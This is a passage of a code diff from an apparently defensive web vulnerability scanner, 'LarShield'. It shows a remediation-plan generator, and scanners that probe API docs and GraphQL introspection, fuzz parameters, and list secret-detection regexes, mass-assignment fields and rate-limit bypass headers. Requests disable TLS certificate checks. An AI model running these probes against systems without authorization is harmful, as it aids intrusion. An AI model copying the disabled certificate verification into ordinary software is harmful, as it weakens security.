+ "laravel": "@csrf <!-- Blade directive; VerifyCsrfToken middleware active -->",
68
+ "express": "const csrf = require('csurf'); app.use(csrf());",
69
+ "flask": "from flask_wtf import CSRFProtect; csrf = CSRFProtect(app)",
70
+ },
71
+ },
72
+ "clickjacking": {
73
+ "effort": 0.5,
74
+ "tags": ["headers", "quick-win"],
75
+ "code": {
76
+ "nginx": "add_header X-Frame-Options \"DENY\" always;\nadd_header Content-Security-Policy \"frame-ancestors 'none'\" always;",
77
+ "apache": "Header always set X-Frame-Options \"DENY\"",
78
+ },
79
+ },
80
+ "ssl": {
81
+ "effort": 2,
82
+ "tags": ["tls", "medium-effort"],
83
+ "code": {
84
+ "nginx": "ssl_protocols TLSv1.2 TLSv1.3;\nssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;\nssl_prefer_server_ciphers off;",
85
+ "apache": "SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1\nSSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256",
86
+ },
87
+ },
88
+ "hsts": {
89
+ "effort": 0.5,
90
+ "tags": ["headers", "quick-win"],
91
+ "code": {
92
+ "nginx": 'add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;',
93
+ "apache": 'Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"',
94
+ },
95
+ },
96
+ "open redirect": {
97
+ "effort": 3,
98
+ "tags": ["redirect", "medium-effort"],
99
+ "code": {
100
+ "python": "from urllib.parse import urlparse\nif urlparse(dest).netloc not in ALLOWED_HOSTS: dest = '/'",
101
+ "php": "$allowed = ['example.com'];\nif (!in_array(parse_url($url, PHP_URL_HOST), $allowed)) $url = '/';",
102
+ "node": "const allowed = ['example.com'];\nif (!allowed.includes(new URL(dest).hostname)) dest = '/';",
103
+ },
104
+ },
105
+ "cookie": {
106
+ "effort": 1,
107
+ "tags": ["cookies", "quick-win"],
108
+ "code": {
109
+ "nginx": "proxy_cookie_flags ~ Secure HttpOnly SameSite=Strict;",
110
+ "express": "res.cookie('session', val, {httpOnly:true, secure:true, sameSite:'strict'});",
111
+ "django": "SESSION_COOKIE_SECURE = True\nSESSION_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SAMESITE = 'Strict'",
112
+ "php": "session_set_cookie_params(['secure'=>true,'httponly'=>true,'samesite'=>'Strict']);",
113
+ },
114
+ },
115
+ "lfi": {
116
+ "effort": 6,
117
+ "tags": ["injection", "high-effort"],
118
+ "code": {
119
+ "php": "$allowed = ['home','about','contact'];\nif (!in_array($page, $allowed)) die('Forbidden');\ninclude \"pages/{$page}.php\";",
120
+ "python": "ALLOWED_PAGES = {'home': 'home.html', 'about': 'about.html'}\ntemplate = ALLOWED_PAGES.get(page_param, '404.html')",
121
+ },
122
+ },
123
+ "ssti": {
124
+ "effort": 8,
125
+ "tags": ["injection", "critical", "high-effort"],
126
+ "code": {
127
+ "python": "from jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\n# Never use render_template_string(user_input)",
128
+ "php": "// Use Twig sandbox:\n$policy = new SecurityPolicy($tags,$filters);\n$sandbox = new SandboxExtension($policy);\n$twig->addExtension($sandbox);",
129
+ },
130
+ },
131
+ "secret": {
132
+ "effort": 2,
133
+ "tags": ["secrets", "critical"],
134
+ "code": {
135
+ "general": "# Use environment variables:\nimport os\nAPI_KEY = os.environ['API_KEY']\n\n# Or a secrets manager:\n# AWS Secrets Manager, HashiCorp Vault, Azure Key Vault",
136
+ },
137
+ },
138
+ "git": {
139
+ "effort": 1,
140
+ "tags": ["exposure", "quick-win"],
141
+ "code": {
142
+ "nginx": "location ~ /\\.(git|svn|hg|env) {\n deny all;\n return 404;\n}",
143
+ "apache": "RedirectMatch 404 /\\.git\nRedirectMatch 404 /\\.env",
144
+ },
145
+ },
146
+ "dependency": {
147
+ "effort": 3,
148
+ "tags": ["dependencies", "medium-effort"],
149
+ "code": {
150
+ "node": "npm audit fix\nnpm update\n# Or: npx npm-check-updates -u && npm install",
151
+ "python": "pip install --upgrade pip\npip list --outdated\npip install safety && safety check",
152
+ "php": "composer update\ncomposer audit",
153
+ },
154
+ },
155
+ "rate limit": {
156
+ "effort": 3,
157
+ "tags": ["auth", "medium-effort"],
158
+ "code": {
159
+ "nginx": "limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;\nlimit_req zone=login burst=3 nodelay;",
160
+ "express": "const rateLimit = require('express-rate-limit');\napp.use('/login', rateLimit({windowMs:60000, max:5}));",
161
+ },
162
+ },
163
+ }
164
+
165
+ EFFORT_LABELS = {
166
+ range(0, 1): "Quick Fix (< 1 hour)",
167
+ range(1, 4): "Short Sprint (1–3 hours)",
168
+ range(4, 9): "Medium Task (4–8 hours)",
169
+ range(9, 100): "Large Effort (> 8 hours)",
170
+ }
171
+
172
+ def _effort_label(hours: float) -> str:
173
+ for r, label in EFFORT_LABELS.items():
174
+ if int(hours) in r:
175
+ return label
176
+ return f"~{int(hours)} hours"
177
+
178
+
179
+ def _match_kb(title: str) -> dict | None:
180
+ title_lower = title.lower()
181
+ for keyword, entry in KNOWLEDGE_BASE.items():
182
+ if keyword in title_lower:
183
+ return entry
184
+ return None
185
+
186
+
187
+ class AiRemediationScanner(BaseScanner):
188
+ SCANNER_NAME = "AI Remediation Generator"
189
+ _SCANNER_KEY = "ai_remediation"
190
+
191
+ def __init__(self, scan_id, target, domain, **kwargs):
192
+ super().__init__(scan_id, target, domain, **kwargs)
193
+ self._openai_key = os.environ.get("OPENAI_API_KEY", "")
194
+ self._stack = self._detect_stack()
195
+
196
+ # ------------------------------------------------------------------
197
+ def run(self) -> list:
198
+ self.log("INFO",
199
+ f"[AI-Remediation] Generating remediation plan for {self.target}...")
200
+ self.log("INFO",
201
+ f"[AI-Remediation] Detected tech stack hint: {self._stack or 'unknown'}")
202
+
203
+ try:
204
+ # Gather all vulns from the shared in-memory log for this scan
205
+ all_vulns = self._gather_all_vulns()
206
+ self.log("INFO",
207
+ f"[AI-Remediation] Processing {len(all_vulns)} finding(s) from pipeline...")
208
+
209
+ if not all_vulns:
210
+ self.log("SUCCESS",
211
+ "[AI-Remediation] No findings to remediate — clean scan!")
212
+ return self.vulns
213
+
214
+ # Sort by CVSS score descending
215
+ sorted_vulns = sorted(all_vulns,
216
+ key=lambda v: float(v.get("cvss_score") or 0), reverse=True)
217
+
218
+ remediation_items = []
219
+ total_effort = 0.0
220
+
221
+ for i, vuln in enumerate(sorted_vulns[:30], 1): # top 30
222
+ title = vuln.get("title", "")
223
+ severity= vuln.get("severity","Info")
224
+ cvss = float(vuln.get("cvss_score") or 0)
225
+ kb = _match_kb(title)
226
+ effort = kb["effort"] if kb else self._estimate_effort(cvss)
227
+ total_effort += effort
228
+
229
+ code_hint = ""
230
+ if kb and kb.get("code"):
231
+ stack_code = kb["code"].get(self._stack) or \
232
+ next(iter(kb["code"].values()), "")
233
+ if stack_code:
234
+ code_hint = f"\n\n**Fix Code ({self._stack or 'generic'}):**\n```\n{stack_code}\n```"
235
+
236
+ remediation_items.append({
237
+ "rank": i,
238
+ "title": title,
239
+ "severity": severity,
240
+ "cvss": cvss,
241
+ "effort": effort,
242
+ "effort_label": _effort_label(effort),
243
+ "tags": kb["tags"] if kb else [],
244
+ "code_hint": code_hint,
245
+ })
246
+
247
+ # ── Generate AI-enhanced advice if API key is available ────
248
+ if self._openai_key:
249
+ self._enhance_with_openai(remediation_items[:5])
250
+
251
+ # ── Emit consolidated remediation plan as a finding ────────
252
+ self._emit_plan(remediation_items, total_effort, sorted_vulns)
253
+
254
+ except Exception as e:
255
+ self.log("WARNING", f"[AI-Remediation] Error: {e}")
256
+
257
+ return self.vulns
258
+
259
+ # ------------------------------------------------------------------
260
+ def _gather_all_vulns(self) -> list:
261
+ """Collect all vulns from in-memory log for this scan_id.
262
+ NOTE: active_scan_logs stores plain strings, not dicts.
263
+ This method safely skips non-dict entries and always returns [].
264
+ The AI remediation plan is generated from self.vulns populated by
265
+ the orchestrator via scanner.py's _run_scan_job -> all_vulns flow.
266
+ """
267
+ logs = active_scan_logs.get(self.scan_id, [])
268
+ seen = set()
269
+ vulns = []
270
+ for entry in logs:
271
+ # Logs are plain strings — skip any non-dict entries safely
272
+ if not isinstance(entry, dict):
273
+ continue
274
+ if entry.get("type") == "vuln":
275
+ key = entry.get("title", "") + entry.get("severity", "")
276
+ if key not in seen:
277
+ seen.add(key)
278
+ vulns.append(entry)
279
+ return vulns
280
+
281
+ # ------------------------------------------------------------------
282
+ def _detect_stack(self) -> str:
283
+ """Heuristic: probe the target and detect framework from headers/body."""
284
+ try:
285
+ req = urllib.request.Request(self.target,
286
+ headers={"User-Agent": "LarShield/2.0 AI-Remediation"})
287
+ with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r:
288
+ headers = {k.lower(): v.lower() for k, v in r.headers.items()}
289
+ body = r.read(4096).decode("utf-8", errors="ignore").lower()
290
+
291
+ server = headers.get("server","")
292
+ powered = headers.get("x-powered-by","")
293
+
294
+ if "php" in powered or "php" in server: return "php"
295
+ if "express" in powered or "node" in server: return "node"
296
+ if "django" in body or "csrfmiddlewaretoken" in body: return "python"
297
+ if "laravel" in body or "laravel_session" in headers.get("set-cookie",""): return "php"
298
+ if "asp.net" in powered or "asp.net" in server: return "aspnet"
299
+ if "java" in server or "tomcat" in server or "jsessionid" in headers.get("set-cookie",""): return "java"
300
+ if "rails" in server or "x-request-id" in headers: return "ruby"
301
+ except Exception as e:
302
+ print(f"ERROR: [AI] Framework detection error: {e}")
303
+ return "nginx" # default to nginx/generic
304
+
305
+ # ------------------------------------------------------------------
306
+ @staticmethod
307
+ def _estimate_effort(cvss: float) -> float:
308
+ if cvss >= 9.0: return 8.0
309
+ if cvss >= 7.0: return 5.0
310
+ if cvss >= 4.0: return 3.0
311
+ return 1.0
312
+
313
+ # ------------------------------------------------------------------
314
+ def _enhance_with_openai(self, top_items: list):
315
+ """Call OpenAI API to generate enhanced remediation for top 5 findings."""
316
+ try:
317
+ prompt = (
318
+ "You are a senior application security engineer. "
319
+ "For each finding below, provide a concise, specific fix in 2-3 sentences "
320
+ f"for a {self._stack} application:\n\n"
321
+ + "\n".join(f"{i+1}. [{v['severity']}] {v['title']} (CVSS {v['cvss']})"
322
+ for i, v in enumerate(top_items))
323
+ )
324
+ body = json.dumps({
325
+ "model": "gpt-4o-mini",
326
+ "messages": [{"role": "user", "content": prompt}],
327
+ "max_tokens": 800,
328
+ "temperature": 0.3,
329
+ }).encode()
330
+ req = urllib.request.Request(
331
+ "https://api.openai.com/v1/chat/completions",
332
+ data=body,
333
+ headers={
334
+ "Authorization": f"Bearer {self._openai_key}",
335
+ "Content-Type": "application/json",
336
+ },
337
+ )
338
+ with urllib.request.urlopen(req, timeout=20) as r:
339
+ resp = json.loads(r.read())
340
+ ai_text = resp["choices"][0]["message"]["content"]
341
+ self.log("INFO", f"[AI-Remediation] OpenAI enhanced advice: {ai_text[:300]}...")
342
+ # Inject into first item
343
+ if top_items:
344
+ top_items[0]["ai_advice"] = ai_text
345
+ except Exception as e:
346
+ self.log("WARNING", f"[AI-Remediation] OpenAI call failed: {e}")
347
+
348
+ # ------------------------------------------------------------------
349
+ def _emit_plan(self, items: list, total_effort: float, all_vulns: list):
350
+ sev_counts = {}
351
+ for v in all_vulns:
352
+ s = v.get("severity","Info")
353
+ sev_counts[s] = sev_counts.get(s,0) + 1
354
+
355
+ quick_wins = [i for i in items if "quick-win" in i.get("tags",[])]
356
+ critical_items = [i for i in items if i["cvss"] >= 9.0]
357
+
358
+ plan_lines = [
359
+ f"# Remediation Plan — {self.target}",
360
+ f"**Total findings processed:** {len(all_vulns)}",
361
+ f"**Detected stack:** {self._stack or 'unknown'}",
362
+ f"**Estimated total fix effort:** ~{int(total_effort)} hours",
363
+ "",
364
+ "## Severity Distribution",
365
+ *[f"- **{k}:** {v}" for k, v in sev_counts.items()],
366
+ "",
367
+ f"## ⚡ Quick Wins First ({len(quick_wins)} items, < 1h each)",
368
+ *[f"- [{qw['severity']}] **{qw['title']}** — {qw['effort_label']}" for qw in quick_wins[:10]],
369
+ "",
370
+ f"## 🚨 Critical Priority ({len(critical_items)} items)",
371
+ *[f"- CVSS {ci['cvss']} — **{ci['title']}**" for ci in critical_items[:10]],
372
+ "",
373
+ "## Prioritized Remediation Roadmap",
374
+ ]
375
+
376
+ for item in items[:20]:
377
+ code = item.get("code_hint","")
378
+ plan_lines.append(
379
+ f"\n### #{item['rank']} [{item['severity']}] {item['title']}\n"
380
+ f"**CVSS:** {item['cvss']} | **Effort:** {item['effort_label']} | "
381
+ f"**Tags:** {', '.join(item.get('tags',['general']))}"
382
+ f"{code}"
383
+ )
384
+
385
+ self.add_vuln(
386
+ title="AI-Generated Remediation Plan",
387
+ severity="Low",
388
+ category="Remediation Plan",
389
+ cvss_score=0.0,
390
+ description="\n".join(plan_lines),
391
+ remediation=(
392
+ "Execute the quick wins immediately (< 1 hour each). "
393
+ f"Address all Critical CVSS ≥ 9.0 items within 24 hours. "
394
+ f"Schedule the remaining {len(items)} items in your next sprint."
395
+ ),
396
+ )
397
+
398
+ self.log("SUCCESS",
399
+ f"[AI-Remediation] Plan generated: {len(items)} items, "
400
+ f"~{int(total_effort)}h total effort, "
401
+ f"{len(quick_wins)} quick wins, {len(critical_items)} critical.")
backend/scanners/api_scanner.py ADDED
@@ -0,0 +1,169 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import urllib.request, urllib.error, urllib.parse, ssl, json
2
+ from scanners.base_scanner import BaseScanner
3
+ from utils.fuzzer_engine import ContextAwareFuzzer
4
+
5
+ class ApiScanner(BaseScanner):
6
+ SCANNER_NAME = "API & GraphQL Introspection Scanner"
7
+
8
+ def __init__(self, scan_id, target, domain, **kwargs):
9
+ super().__init__(scan_id, target, domain, **kwargs)
10
+ self._ctx = ssl.create_default_context()
11
+ self._ctx.check_hostname = False
12
+ self._ctx.verify_mode = ssl.CERT_NONE
13
+ self._headers = {"User-Agent": "LarShield/2.0 API-Analyzer", "Content-Type": "application/json"}
14
+ if self.auth_headers:
15
+ self._headers.update(self.auth_headers)
16
+ self.base_url = target.rstrip("/")
17
+ self._fuzzer = ContextAwareFuzzer(self._api_fuzzer_req)
18
+
19
+ def _api_fuzzer_req(self, url, params, headers=None):
20
+ data = urllib.parse.urlencode(params).encode("utf-8") if params else None
21
+ merged = {"Content-Type": "application/x-www-form-urlencoded"}
22
+ if headers:
23
+ merged.update(headers)
24
+ body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
25
+ return body or "", status
26
+
27
+ def _get(self, path):
28
+ url = f"{self.base_url}{path}"
29
+ try:
30
+ req = urllib.request.Request(url, headers=self._headers)
31
+ with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp:
32
+ return resp.read().decode("utf-8", errors="ignore"), resp.status
33
+ except urllib.error.HTTPError as e:
34
+ return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code
35
+ except Exception as e:
36
+ self.log("ERROR", f"[API] GET error: {e}")
37
+ return "", 0
38
+
39
+ def _post(self, path, payload):
40
+ url = f"{self.base_url}{path}"
41
+ try:
42
+ data = json.dumps(payload).encode('utf-8')
43
+ req = urllib.request.Request(url, data=data, headers=self._headers, method='POST')
44
+ with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp:
45
+ return resp.read().decode("utf-8", errors="ignore"), resp.status
46
+ except urllib.error.HTTPError as e:
47
+ return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code
48
+ except Exception as e:
49
+ self.log("ERROR", f"[API] POST error: {e}")
50
+ return "", 0
51
+
52
+ def check_swagger(self):
53
+ self.log("INFO", "[API] Hunting for exposed Swagger/OpenAPI documentation...")
54
+ paths = ["/swagger-ui.html", "/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json", "/docs"]
55
+ for path in paths:
56
+ body, status = self._get(path)
57
+ if status == 200 and ("swagger" in body.lower() or "openapi" in body.lower()):
58
+ self.log("CRITICAL", f"[API] Exposed API documentation found at {path}")
59
+ self.add_vuln(
60
+ title="Exposed API Documentation (Swagger/OpenAPI)",
61
+ severity="High",
62
+ category="Information Disclosure",
63
+ cvss_score=7.5,
64
+ description=f"Unauthenticated API documentation was discovered at `{path}`. Attackers can use this to map out the entire backend infrastructure, discover hidden endpoints, and find injection vectors.",
65
+ remediation="Restrict access to API documentation endpoints in production environments using IP whitelisting or robust authentication."
66
+ )
67
+ break
68
+
69
+ def check_graphql(self):
70
+ self.log("INFO", "[API] Testing GraphQL endpoints for Introspection vulnerabilities...")
71
+ endpoints = ["/graphql", "/api/graphql", "/v1/graphql"]
72
+ introspection_query = {
73
+ "query": "{ __schema { types { name fields { name } } } }"
74
+ }
75
+
76
+ for path in endpoints:
77
+ body, status = self._post(path, introspection_query)
78
+ if status == 200 and "__schema" in body:
79
+ self.log("CRITICAL", f"[API] GraphQL Introspection enabled at {path}")
80
+ self.add_vuln(
81
+ title="GraphQL Introspection Query Enabled",
82
+ severity="Critical",
83
+ category="API Security",
84
+ cvss_score=9.1,
85
+ description=f"The GraphQL endpoint at `{path}` allows Introspection queries. An attacker dumped the entire database schema, including all types, mutations, and hidden fields. This completely exposes the application's internal data structures.",
86
+ remediation="Disable GraphQL introspection in your production environment. In Apollo Server, set `introspection: false`."
87
+ )
88
+ break
89
+
90
+ def _fuzz_api_params(self):
91
+ swagger_paths = ["/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json"]
92
+ swagger_spec = None
93
+ for path in swagger_paths:
94
+ body, status = self._get(path)
95
+ if status == 200 and body:
96
+ try:
97
+ swagger_spec = json.loads(body)
98
+ break
99
+ except json.JSONDecodeError:
100
+ continue
101
+
102
+ if swagger_spec:
103
+ paths = swagger_spec.get("paths", {})
104
+ for endpoint, methods in paths.items():
105
+ url = f"{self.base_url}{endpoint}"
106
+ for method, details in methods.items():
107
+ if method.upper() not in ("GET", "POST", "PUT", "DELETE", "PATCH"):
108
+ continue
109
+ params = {}
110
+ for param in details.get("parameters", []):
111
+ if param.get("in") in ("query", "formData"):
112
+ params[param["name"]] = str(param.get("default", "test"))
113
+ if not params:
114
+ continue
115
+ self.log("INFO", f"[API] Context-aware fuzzing {endpoint} ({len(params)} params)")
116
+ self._fuzzer.fuzz(url, params)
117
+ baseline_body, _ = self._make_request(url, timeout=8)
118
+ baseline_length = len(baseline_body or "")
119
+ anomalies = self._fuzzer.anomalies(baseline_length)
120
+ for anom in anomalies:
121
+ self.log("WARNING", f"[API] Fuzzer anomaly at {endpoint}: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
122
+ self.add_vuln(
123
+ title=f"API Injection — {anom['param']} ({anom['mutation']})",
124
+ severity="High",
125
+ category="Injection",
126
+ cvss_score=7.5,
127
+ description=(
128
+ f"API endpoint {endpoint} parameter '{anom['param']}' "
129
+ f"(classified as '{anom['type']}') returned an anomalous response "
130
+ f"when mutated with '{anom['mutation']}' (value: {anom['value']}). "
131
+ f"HTTP {anom['status']}, response length {anom['length']}."
132
+ ),
133
+ remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.",
134
+ cwe_ids=["CWE-20"],
135
+ owasp_category="A03:2021 – Injection",
136
+ )
137
+ else:
138
+ common_api_params = ["id", "q", "search", "query", "page", "limit", "offset", "sort", "filter",
139
+ "token", "key", "secret", "user", "email", "name", "status", "type", "role"]
140
+ params = {p: "test" for p in common_api_params}
141
+ self.log("INFO", "[API] No swagger spec found; fuzzing common API parameters on base URL")
142
+ self._fuzzer.fuzz(self.base_url, params)
143
+ baseline_body, _ = self._make_request(self.target, timeout=8)
144
+ baseline_length = len(baseline_body or "")
145
+ anomalies = self._fuzzer.anomalies(baseline_length)
146
+ for anom in anomalies:
147
+ self.log("WARNING", f"[API] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
148
+ self.add_vuln(
149
+ title=f"API Injection — {anom['param']} ({anom['mutation']})",
150
+ severity="High",
151
+ category="Injection",
152
+ cvss_score=7.5,
153
+ description=(
154
+ f"Common API parameter '{anom['param']}' (classified as '{anom['type']}') "
155
+ f"returned an anomalous response when mutated with '{anom['mutation']}' "
156
+ f"(value: {anom['value']}). HTTP {anom['status']}, response length {anom['length']}."
157
+ ),
158
+ remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.",
159
+ cwe_ids=["CWE-20"],
160
+ owasp_category="A03:2021 – Injection",
161
+ )
162
+
163
+ def run(self):
164
+ self.log("INFO", f"[API] Starting Advanced API analysis on {self.target}...")
165
+ self.check_swagger()
166
+ self.check_graphql()
167
+ self._fuzz_api_params()
168
+ self.log("SUCCESS" if not self.vulns else "WARNING", "[API] Analysis complete.")
169
+ return self.vulns
backend/scanners/api_security_scanner.py ADDED
@@ -0,0 +1,538 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ api_security_scanner.py — Advanced REST/GraphQL/gRPC API Security Scanner
3
+ ==========================================================================
4
+ Goes beyond basic API fuzzing to test:
5
+
6
+ 1. Mass Assignment via field injection on POST/PUT/PATCH
7
+ 2. Parameter pollution (HPP) on REST APIs
8
+ 3. Versioned API endpoint enumeration (v1, v2, v3...)
9
+ 4. API key leakage in responses, headers, and error messages
10
+ 5. HTTP verb tunneling (X-HTTP-Method-Override bypass)
11
+ 6. API rate limit bypass via header manipulation
12
+ 7. Unauthenticated GraphQL introspection
13
+ 8. REST API response data over-exposure (sensitive field detection)
14
+ 9. JWT none-algorithm and algorithm confusion probing
15
+ 10. API documentation endpoint exposure (Swagger, OpenAPI, Postman)
16
+ """
17
+ import re
18
+ import json
19
+ import time
20
+ import urllib.parse
21
+ import urllib.request
22
+ import urllib.error
23
+ import ssl
24
+ import base64
25
+
26
+ from scanners.base_scanner import BaseScanner
27
+
28
+
29
+ # ── Patterns ────────────────────────────────────────────────────────────────
30
+ API_KEY_PATTERNS = [
31
+ (r'(?i)api[_\-]?key\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "API Key"),
32
+ (r'(?i)secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "Secret"),
33
+ (r'(?i)access[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Access Token"),
34
+ (r'(?i)auth[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Auth Token"),
35
+ (r'(?i)password\s*[:=]\s*["\']?([^\s"\']{8,})["\']?', "Password"),
36
+ (r'(?i)client[_\-]?secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})["\']?', "Client Secret"),
37
+ (r'sk_live_[A-Za-z0-9]{24,}', "Stripe Live Key"),
38
+ (r'sk_test_[A-Za-z0-9]{24,}', "Stripe Test Key"),
39
+ (r'AKIA[0-9A-Z]{16}', "AWS Access Key"),
40
+ (r'AIza[0-9A-Za-z_\-]{35}', "Google API Key"),
41
+ (r'(?i)mongodb\+srv://[^\s"\'<>]+', "MongoDB Connection String"),
42
+ ]
43
+
44
+ SENSITIVE_RESPONSE_FIELDS = [
45
+ "password", "passwd", "pwd", "hash", "secret", "salt",
46
+ "ssn", "social_security", "credit_card", "card_number", "cvv",
47
+ "private_key", "api_key", "access_token", "refresh_token",
48
+ "session_token", "auth_token", "otp_secret", "totp_secret",
49
+ "internal_ip", "server_ip", "db_host", "db_password",
50
+ "admin_email", "admin_pass",
51
+ ]
52
+
53
+ DOC_ENDPOINTS = [
54
+ "/api/docs", "/api/swagger", "/api/openapi", "/swagger",
55
+ "/swagger-ui", "/swagger-ui.html", "/swagger/index.html",
56
+ "/api/swagger.json", "/api/openapi.json", "/openapi.json",
57
+ "/swagger.yaml", "/openapi.yaml", "/api/v1/swagger.json",
58
+ "/api/v2/swagger.json", "/v1/api-docs", "/v2/api-docs",
59
+ "/docs", "/redoc", "/api/redoc",
60
+ "/postman.json", "/postman_collection.json",
61
+ "/.well-known/openid-configuration",
62
+ "/graphql/playground", "/graphiql", "/altair",
63
+ ]
64
+
65
+ API_VERSION_PATTERNS = [
66
+ "/api/v{n}", "/api/{n}", "/v{n}", "/v{n}/api",
67
+ "/api/version{n}", "/rest/v{n}",
68
+ ]
69
+
70
+ MASS_ASSIGN_FIELDS = [
71
+ "is_admin", "role", "admin", "superuser", "is_superuser",
72
+ "is_staff", "permissions", "privilege", "level", "account_type",
73
+ "verified", "is_verified", "subscription_tier", "plan",
74
+ "credits", "balance", "discount",
75
+ ]
76
+
77
+ HTTP_VERB_OVERRIDES = [
78
+ "X-HTTP-Method-Override",
79
+ "X-HTTP-Method",
80
+ "X-Method-Override",
81
+ "_method",
82
+ ]
83
+
84
+ RATE_LIMIT_BYPASS_HEADERS = [
85
+ {"X-Forwarded-For": "127.0.0.1"},
86
+ {"X-Real-IP": "127.0.0.1"},
87
+ {"X-Originating-IP": "127.0.0.1"},
88
+ {"X-Remote-IP": "127.0.0.1"},
89
+ {"CF-Connecting-IP": "127.0.0.1"},
90
+ {"True-Client-IP": "127.0.0.1"},
91
+ {"X-Forwarded-For": "10.0.0.1, 127.0.0.1"},
92
+ {"X-Cluster-Client-IP": "127.0.0.1"},
93
+ ]
94
+
95
+
96
+ def _ssl_context() -> ssl.SSLContext:
97
+ ctx = ssl.create_default_context()
98
+ ctx.check_hostname = False
99
+ ctx.verify_mode = ssl.CERT_NONE
100
+ return ctx
101
+
102
+
103
+ def _request(url: str, method: str = "GET", body: bytes | None = None,
104
+ extra_headers: dict | None = None, timeout: int = 8) -> tuple[str, int, dict]:
105
+ """Make HTTP request, returning (body_text, status_code, response_headers)."""
106
+ try:
107
+ headers = {"User-Agent": "LarShield/2.0-APIScanner", "Accept": "application/json"}
108
+ if extra_headers:
109
+ headers.update(extra_headers)
110
+ req = urllib.request.Request(url, data=body, method=method, headers=headers)
111
+ with urllib.request.urlopen(req, timeout=timeout, context=_ssl_context()) as r:
112
+ resp_body = r.read().decode("utf-8", errors="ignore")
113
+ return resp_body, r.status, dict(r.headers)
114
+ except urllib.error.HTTPError as e:
115
+ try:
116
+ body_text = e.read().decode("utf-8", errors="ignore")
117
+ except Exception:
118
+ body_text = ""
119
+ return body_text, e.code, {}
120
+ except Exception:
121
+ return "", 0, {}
122
+
123
+
124
+ def _check_api_key_in_response(body: str, headers: dict) -> list[tuple[str, str]]:
125
+ """Scan response body and headers for exposed secrets."""
126
+ found = []
127
+ combined = body + " " + " ".join(f"{k}: {v}" for k, v in headers.items())
128
+ for pattern, label in API_KEY_PATTERNS:
129
+ for m in re.finditer(pattern, combined):
130
+ found.append((label, m.group(0)[:80]))
131
+ return found
132
+
133
+
134
+ def _check_sensitive_fields(body: str) -> list[str]:
135
+ """Find sensitive field names in JSON response."""
136
+ found = []
137
+ try:
138
+ data = json.loads(body)
139
+ except Exception:
140
+ # Fallback: regex search
141
+ data = None
142
+
143
+ if data:
144
+ def _scan_dict(d, depth=0):
145
